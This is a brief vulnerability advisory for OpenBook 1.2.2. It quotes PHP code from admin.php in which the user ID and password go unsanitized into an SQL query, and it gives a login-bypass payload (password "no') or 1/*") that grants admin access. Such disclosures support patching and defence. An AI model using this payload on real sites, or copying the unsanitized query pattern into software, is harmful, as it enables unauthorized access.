~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Title: SQl injection                   
Product: OpenBook                       
Version: 1.2.2                         
  Site: http://openbook.sourceforge.net/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Vulnerabilities
***************
Code:
  function auth_user($userid, $password)

global $HTTP_POST_VARS;
global $admin_table;

$userid=$HTTP_POST_VARS['userid'];
$password=$HTTP_POST_VARS['password'];

db_connect();

$query="SELECT userid "
    ."FROM $admin_table "
    ."WHERE userid='$userid' AND password=password('$password')";
$result=mysql_query($query);

if(!mysql_num_rows($result))
// no matches
{
  return 0;
}
else
// match found so return userid
{
  $query_data=mysql_fetch_array($result);
  return $query_data['userid'];
}
}// end auth_user()

Variable $userid, $password in admin.php are not checked before premises in SQL request, because of this possible produce SQL-injection,
after which, any user can gain access to admin panels

Here is idle time example substitutions:
-------------------------------
User ID: admin
Password: no') or 1/*
-------------------------------

Bug Found
*********
------------------------------------------------
Search Vulnerabilities Team - www.svt.nukleon.us
------------------------------------------------